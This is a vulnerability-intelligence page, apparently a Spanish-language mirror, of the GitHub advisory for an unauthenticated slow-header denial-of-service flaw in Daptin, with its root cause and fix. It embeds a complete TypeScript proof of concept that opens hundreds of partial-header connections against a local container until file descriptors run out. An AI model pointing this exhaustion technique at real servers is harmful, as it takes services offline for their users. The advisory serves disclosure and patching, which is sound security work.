llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/daptin/daptin

GHSA-8Q2J-54JC-JFG2

Unauthenticated slow-header connections exhaust Daptin file descriptors

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.5
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche2 versionesPrimer parche el mismo día de la divulgación
Exposición57 dDesde la divulgación, 23 sept 2026, 12:34 p. m.
Detección56 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche v0.13.26
Monitoreo
Detectada +1
23 sept 26
18 nov 26
20 nov 26
23 sept 26
8 oct 26
22 oct 26
5 nov 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-8Q2J-54JC-JFG2 divulgada · CVSS 7.5 (GitHub)
Remediación Parche v0.13.26 github.com/daptin/daptin · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

Daptin versions through `v0.13.25` create their HTTP and HTTPS servers without a header-read timeout. An unauthenticated client can hold incomplete HTTP headers open indefinitely, consuming one server file descriptor and goroutine per connection before Daptin's handler-level connection limiter can run.

In three isolated trials with a 512-descriptor limit, 600 partial-header connections made a new `/ping` request time out while Daptin logged `accept4: too many open files`. Closing the attacker connections restored HTTP 200 without restarting the process.

Details
Affected versions

The original reproduction used `v0.13.19`, commit `8a7530cd855205dcf9d6517e92f36cd2ca36a591` https://github.com/daptin/daptin/commit/8a7530cd855205dcf9d6517e92f36cd2ca36a591. Maintainer review confirmed that the missing deadlines remained through `v0.13.25`. `v0.13.26` contains the fix.

The official image used below is pinned by digest and identifies that exact release commit:

daptin/daptin@sha256:459f33791db685c38524644e0d94364b84e22d6ba11deff7fcea1efb0382574e
Preconditions
  • Network access to Daptin's default HTTP listener.
  • No valid HTTP request, account, token, application data, or feature flag is required.
Root cause

The production HTTP server sets only `Addr` and `Handler`; the optional HTTPS server also omits `ReadHeaderTimeout` and `ReadTimeout`:

  • `main.go` lines 559-569 https://github.com/daptin/daptin/blob/8a7530cd855205dcf9d6517e92f36cd2ca36a591/main.go#L559-L569
  • `main.go` lines 594-603 https://github.com/daptin/daptin/blob/8a7530cd855205dcf9d6517e92f36cd2ca36a591/main.go#L594-L603

Daptin's `limit.max_connections` control is Gin middleware:

  • `server/server.go` lines 175-181 and 208-212 https://github.com/daptin/daptin/blob/8a7530cd855205dcf9d6517e92f36cd2ca36a591/server/server.go#L175-L212

Gin is not reached until Go has parsed complete HTTP headers. A partial-header connection therefore bypasses the configured concurrent-handler limit of 100 and persists until the peer closes it or an external component supplies a deadline.

The 512-descriptor limit makes the local oracle quick and deterministic; it does not create the flaw. Every deployment has a finite descriptor ceiling, and Daptin has no timeout for reclaiming these connections. A higher ceiling requires proportionally more connections.

Suggested remediation
  1. Set a finite configurable `ReadHeaderTimeout` on both HTTP and HTTPS servers.
  2. Set an appropriate `IdleTimeout` and ensure TLS handshakes also receive a deadline.
  3. Enforce connection limits at the listener or `ConnState` layer, before HTTP parsing.
  4. Add a regression test that holds an incomplete header beyond the deadline and verifies a simultaneous `/ping` remains available.
PoC

Prerequisites: Docker and Bun. Save the following as `f004.ts`.

<!-- BEGIN EMBEDDED POC -->

import net from "node:net";

const image = "daptin/daptin@sha256:459f33791db685c38524644e0d94364b84e22d6ba11deff7fcea1efb0382574e";
const trials = Number(Bun.env.TRIALS ?? "1");

if (!Number.isInteger(trials) || trials < 1 || trials > 10) {
  throw new Error("TRIALS must be an integer from 1 to 10");
}

async function docker(args: string[], allowFailure = false) {
  const child = Bun.spawn(["docker", ...args], { stdout: "pipe", stderr: "pipe" });
  const [stdout, stderr, exitCode] = await Promise.all([
    new Response(child.stdout).text(),
    new Response(child.stderr).text(),
    child.exited,
  ]);
  if (exitCode !== 0 && !allowFailure) {
    throw new Error(`docker ${args[0]} failed (${exitCode}): ${stderr.trim()}`);
  }
  return { stdout: stdout.trim(), stderr: stderr.trim(), exitCode };
}

function probe(port: number, timeoutMs = 1500) {
  return new Promise<{ ok: boolean; detail: string }>((resolve) => {
    const socket = net.createConnection({ host: "127.0.0.1", port });
    let response = "";
    let settled = false;
    const finish = (ok: boolean, detail: string) => {
      if (settled) return;
      settled = true;
      socket.destroy();
      resolve({ ok, detail });
    };
    socket.setTimeout(timeoutMs, () => finish(false, "timeout"));
    socket.once("error", (error) => finish(false, error.message));
    socket.on("data", (chunk) => { response += chunk.toString("utf8"); });
    socket.once("end", () => finish(
      response.startsWith("HTTP/1.1 200") && response.includes("\r\n\r\npong"),
      response.split("\r\n")[0] ?? "closed",
    ));
    socket.once("connect", () => {
      socket.write("GET /ping HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n");
    });
  });
}

async function waitForReady(port: number) {
  for (let attempt = 0; attempt < 160; attempt += 1) {
    if ((await probe(port, 500)).ok) return;
    await Bun.sleep(250);
  }
  throw new Error("Daptin did not become ready");
}

function openPartialHeader(port: number, index: number) {
  return new Promise<net.Socket | null>((resolve) => {
    const socket = net.createConnection({ host: "127.0.0.1", port });
    let settled = false;
    const finish = (value: net.Socket | null) => {
      if (settled) return;
      settled = true;
      resolve(value);
    };
    const timer = setTimeout(() => {
      socket.destroy();
      finish(null);
    }, 2000);
    socket.once("error", () => {
      clearTimeout(timer);
      finish(null);
    });
    socket.once("connect", () => {
      clearTimeout(timer);
      socket.write(`GET /ping HTTP/1.1\r\nHost: 127.0.0.1\r\nX-Slow-${index}: incomplete`);
      finish(socket);
    });
  });
}

async function openMany(port: number) {
  const sockets: net.Socket[] = [];
  for (let start = 0; start < 600; start += 50) {
    const batch = await Promise.all(
      Array.from({ length: 50 }, (_, offset) => openPartialHeader(port, start + offset)),
    );
    for (const socket of batch) if (socket) sockets.push(socket);
  }
  return sockets;
}

async function inspect(name: string) {
  const result = await docker(["inspect", name, "--format", "{{json .State}}"]);
  return JSON.parse(result.stdout);
}

const results = [];
for (let index = 0; index < trials; index += 1) {
  const name = `daptin-f004-${Date.now()}-${index}`;
  const sockets: net.Socket[] = [];
  await docker([
    "run", "-d", "--name", name,
    "--memory", "256m", "--memory-swap", "256m",
    "--ulimit", "nofile=512:512",
    "--security-opt", "no-new-privileges:true",
    "-e", "DAPTIN_DISABLE_SMTP=true",
    "-p", "127.0.0.1::8080",
    "--tmpfs", "/var/lib/daptin:rw,size=64m,uid=10001,gid=10001,mode=0750",
    image,
  ]);

  try {
    const portOutput = await docker(["port", name, "8080/tcp"]);
    const port = Number(portOutput.stdout.match(/127\.0\.0\.1:(\d+)/)?.[1]);
    if (!port) throw new Error(`Unexpected port output: ${portOutput.stdout}`);
    await waitForReady(port);

    const before = await probe(port);
    sockets.push(...await openMany(port));
    await Bun.sleep(3000);
    const held = sockets.filter((socket) => !socket.destroyed).length;
    const during = await probe(port);
    const stateDuring = await inspect(name);
    const logs = await docker(["logs", "--tail", "30", name], true);

    for (const socket of sockets) socket.destroy();
    sockets.length = 0;
    let after = await probe(port);
    for (let attempt = 0; !after.ok && attempt < 20; attempt += 1) {
      await Bun.sleep(250);
      after = await probe(port);
    }

    results.push({
      trial: index + 1,
      before,
      held,
      during,
      stateDuring,
      emfileLogged: `${logs.stdout}\n${logs.stderr}`.includes("too many open files"),
      after,
    });
  } finally {
    for (const socket of sockets) socket.destroy();
    await docker(["rm", "-f", name], true);
  }
}

const reproduced = results.every((result) =>
  result.before.ok === true &&
  result.held >= 400 &&
  result.during.ok === false &&
  result.stateDuring.Running === true &&
  result.emfileLogged === true &&
  result.after.ok === true
);

console.log(JSON.stringify({ image, fileDescriptorLimit: 512, results, reproduced }, null, 2));
if (!reproduced) process.exitCode = 1;

<!-- END EMBEDDED POC -->

Run three isolated trials:

TRIALS=3 bun f004.ts

The script binds Daptin only to a random `127.0.0.1` port and removes each exact container. A successful run exits 0 with `"reproduced": true`; `/ping` works before the attack, fails while partial headers consume the descriptor budget, Daptin logs `too many open files`, and `/ping` works again after the sockets close.

Impact

An unauthenticated remote client can sustain complete listener unavailability with low bandwidth by keeping partial headers open. The attack reaches the server before Daptin's documented per-IP connection limit and requires no valid HTTP request.

The process recovers when the attacker releases the sockets. No confidentiality or integrity impact was demonstrated.

Reported by Omoikane Labs https://github.com/Omoikane-Labs. Requested credit: ffasterss https://github.com/ffasterss and shirabe0x05 https://github.com/shirabe0x05.

Maintainer resolution

v0.13.26 https://github.com/daptin/daptin/releases/tag/v0.13.26 sets a finite request-header deadline on both HTTP and HTTPS listeners, including TLS handshakes, and an idle keep-alive deadline. The backend `_config` values `http.read_header_timeout_seconds` and `http.idle_timeout_seconds` default to 2 and 30 seconds respectively; invalid or nonpositive values prevent startup. Request-body and response-stream behavior is unchanged.

An isolated replay with a 512-descriptor server limit and 600 incomplete-header connections returned HTTP 200 from `/ping` at the report's three-second check. The fix bounds how long each incomplete connection can be held; sustained high-rate connection floods still require network-level capacity controls.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
github.com/daptin/daptin< 0.13.26
0.13.26
v0.13.57
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/daptin/daptin
Corregida v0.13.26 0 d v0.13.57 no afectada
Versiones corregidas0.13.26v0.13.26
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/daptin/daptin/security/advisories/GHSA-8q2j-54jc-jfg2

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.